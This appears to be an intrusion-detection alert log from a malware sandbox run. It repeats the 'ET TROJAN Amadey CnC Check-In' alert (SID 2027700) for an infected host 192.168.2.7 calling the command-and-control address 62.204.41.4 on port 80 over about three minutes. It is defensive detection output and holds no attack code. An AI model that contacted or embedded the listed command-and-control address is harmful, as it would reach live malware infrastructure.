Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449720802027700 02/07/23-23:07:07.869855
SID:	2027700
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450475802027700 02/07/23-23:10:29.511990
SID:	2027700
Source Port:	50475
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450149802027700 02/07/23-23:09:03.555507
SID:	2027700
Source Port:	50149
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450238802027700 02/07/23-23:09:28.505872
SID:	2027700
Source Port:	50238
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449749802027700 02/07/23-23:07:14.642908
SID:	2027700
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449904802027700 02/07/23-23:07:57.181548
SID:	2027700
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450380802027700 02/07/23-23:10:04.421525
SID:	2027700
Source Port:	50380
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449815802027700 02/07/23-23:07:32.330392
SID:	2027700
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450327802027700 02/07/23-23:09:51.514149
SID:	2027700
Source Port:	50327
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450429802027700 02/07/23-23:10:17.103178
SID:	2027700
Source Port:	50429
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450291802027700 02/07/23-23:09:42.607617
SID:	2027700
Source Port:	50291
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450297802027700 02/07/23-23:09:44.097128
SID:	2027700
Source Port:	50297
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450400802027700 02/07/23-23:10:09.283191
SID:	2027700
Source Port:	50400
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449822802027700 02/07/23-23:07:34.022866
SID:	2027700
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450386802027700 02/07/23-23:10:05.891433
SID:	2027700
Source Port:	50386
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449911802027700 02/07/23-23:08:00.309877
SID:	2027700
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449736802027700 02/07/23-23:07:11.796309
SID:	2027700
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449996802027700 02/07/23-23:08:23.620454
SID:	2027700
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449825802027700 02/07/23-23:07:34.754203
SID:	2027700
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450110802027700 02/07/23-23:08:53.827948
SID:	2027700
Source Port:	50110
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449917802027700 02/07/23-23:08:01.811545
SID:	2027700
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449739802027700 02/07/23-23:07:12.501529
SID:	2027700
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450370802027700 02/07/23-23:10:02.050258
SID:	2027700
Source Port:	50370
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449999802027700 02/07/23-23:08:24.351919
SID:	2027700
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449828802027700 02/07/23-23:07:35.504498
SID:	2027700
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450416802027700 02/07/23-23:10:13.181627
SID:	2027700
Source Port:	50416
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450281802027700 02/07/23-23:09:40.172674
SID:	2027700
Source Port:	50281
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450192802027700 02/07/23-23:09:16.124888
SID:	2027700
Source Port:	50192
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450021802027700 02/07/23-23:08:29.768912
SID:	2027700
Source Port:	50021
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449901802027700 02/07/23-23:07:55.355595
SID:	2027700
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449723802027700 02/07/23-23:07:08.598238
SID:	2027700
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450212802027700 02/07/23-23:09:21.026369
SID:	2027700
Source Port:	50212
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449983802027700 02/07/23-23:08:20.411480
SID:	2027700
Source Port:	49983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450123802027700 02/07/23-23:08:57.096759
SID:	2027700
Source Port:	50123
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449812802027700 02/07/23-23:07:31.595526
SID:	2027700
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450383802027700 02/07/23-23:10:05.178762
SID:	2027700
Source Port:	50383
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449894802027700 02/07/23-23:07:53.270341
SID:	2027700
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450301802027700 02/07/23-23:09:45.082072
SID:	2027700
Source Port:	50301
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450472802027700 02/07/23-23:10:28.781018
SID:	2027700
Source Port:	50472
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450419802027700 02/07/23-23:10:13.897365
SID:	2027700
Source Port:	50419
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449914802027700 02/07/23-23:08:01.055769
SID:	2027700
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450294802027700 02/07/23-23:09:43.344390
SID:	2027700
Source Port:	50294
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450034802027700 02/07/23-23:08:32.903823
SID:	2027700
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450329802027700 02/07/23-23:09:52.020233
SID:	2027700
Source Port:	50329
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449906802027700 02/07/23-23:07:58.951742
SID:	2027700
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450295802027700 02/07/23-23:09:43.610527
SID:	2027700
Source Port:	50295
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450099802027700 02/07/23-23:08:50.963558
SID:	2027700
Source Port:	50099
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449872802027700 02/07/23-23:07:47.908431
SID:	2027700
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450038802027700 02/07/23-23:08:34.135275
SID:	2027700
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450234802027700 02/07/23-23:09:26.686624
SID:	2027700
Source Port:	50234
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450430802027700 02/07/23-23:10:18.142734
SID:	2027700
Source Port:	50430
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449811802027700 02/07/23-23:07:31.352080
SID:	2027700
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449967802027700 02/07/23-23:08:14.132869
SID:	2027700
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450172802027700 02/07/23-23:09:11.243219
SID:	2027700
Source Port:	50172
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449844802027700 02/07/23-23:07:41.013550
SID:	2027700
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449939802027700 02/07/23-23:08:07.214342
SID:	2027700
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450066802027700 02/07/23-23:08:42.558660
SID:	2027700
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450267802027700 02/07/23-23:09:36.717040
SID:	2027700
Source Port:	50267
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450463802027700 02/07/23-23:10:26.545692
SID:	2027700
Source Port:	50463
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449816802027700 02/07/23-23:07:32.564007
SID:	2027700
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450144802027700 02/07/23-23:09:02.280526
SID:	2027700
Source Port:	50144
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450239802027700 02/07/23-23:09:29.333776
SID:	2027700
Source Port:	50239
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449934802027700 02/07/23-23:08:05.990363
SID:	2027700
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450262802027700 02/07/23-23:09:35.513958
SID:	2027700
Source Port:	50262
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449738802027700 02/07/23-23:07:12.270875
SID:	2027700
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450357802027700 02/07/23-23:09:58.872294
SID:	2027700
Source Port:	50357
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450340802027700 02/07/23-23:09:54.719055
SID:	2027700
Source Port:	50340
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449721802027700 02/07/23-23:07:08.117512
SID:	2027700
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449990802027700 02/07/23-23:08:22.153608
SID:	2027700
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450352802027700 02/07/23-23:09:57.641139
SID:	2027700
Source Port:	50352
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449733802027700 02/07/23-23:07:11.073843
SID:	2027700
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450000802027700 02/07/23-23:08:24.592012
SID:	2027700
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450407802027700 02/07/23-23:10:11.016581
SID:	2027700
Source Port:	50407
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450082802027700 02/07/23-23:08:46.560439
SID:	2027700
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449782802027700 02/07/23-23:07:24.432492
SID:	2027700
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450435802027700 02/07/23-23:10:19.733664
SID:	2027700
Source Port:	50435
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449754802027700 02/07/23-23:07:15.855344
SID:	2027700
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449705802027700 02/07/23-23:07:04.226733
SID:	2027700
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450324802027700 02/07/23-23:09:50.786571
SID:	2027700
Source Port:	50324
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450290802027700 02/07/23-23:09:42.372267
SID:	2027700
Source Port:	50290
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450373802027700 02/07/23-23:10:02.763122
SID:	2027700
Source Port:	50373
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450116802027700 02/07/23-23:08:55.305221
SID:	2027700
Source Port:	50116
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449962802027700 02/07/23-23:08:12.926371
SID:	2027700
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450033802027700 02/07/23-23:08:32.657521
SID:	2027700
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450189802027700 02/07/23-23:09:15.358033
SID:	2027700
Source Port:	50189
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449787802027700 02/07/23-23:07:25.659773
SID:	2027700
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450218802027700 02/07/23-23:09:22.479535
SID:	2027700
Source Port:	50218
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450402802027700 02/07/23-23:10:09.761332
SID:	2027700
Source Port:	50402
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449995802027700 02/07/23-23:08:23.383016
SID:	2027700
Source Port:	49995
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450111802027700 02/07/23-23:08:54.086078
SID:	2027700
Source Port:	50111
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449700802027700 02/07/23-23:07:03.031561
SID:	2027700
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449759802027700 02/07/23-23:07:17.049971
SID:	2027700
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449889802027700 02/07/23-23:07:52.061130
SID:	2027700
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450005802027700 02/07/23-23:08:25.803187
SID:	2027700
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450087802027700 02/07/23-23:08:47.809633
SID:	2027700
Source Port:	50087
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450378802027700 02/07/23-23:10:03.940156
SID:	2027700
Source Port:	50378
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450026802027700 02/07/23-23:08:30.966267
SID:	2027700
Source Port:	50026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449988802027700 02/07/23-23:08:21.653564
SID:	2027700
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450255802027700 02/07/23-23:09:33.778377
SID:	2027700
Source Port:	50255
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449823802027700 02/07/23-23:07:34.268183
SID:	2027700
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449979802027700 02/07/23-23:08:19.443584
SID:	2027700
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450451802027700 02/07/23-23:10:23.598729
SID:	2027700
Source Port:	50451
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449832802027700 02/07/23-23:07:36.602000
SID:	2027700
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450246802027700 02/07/23-23:09:31.574488
SID:	2027700
Source Port:	50246
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450442802027700 02/07/23-23:10:21.434131
SID:	2027700
Source Port:	50442
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

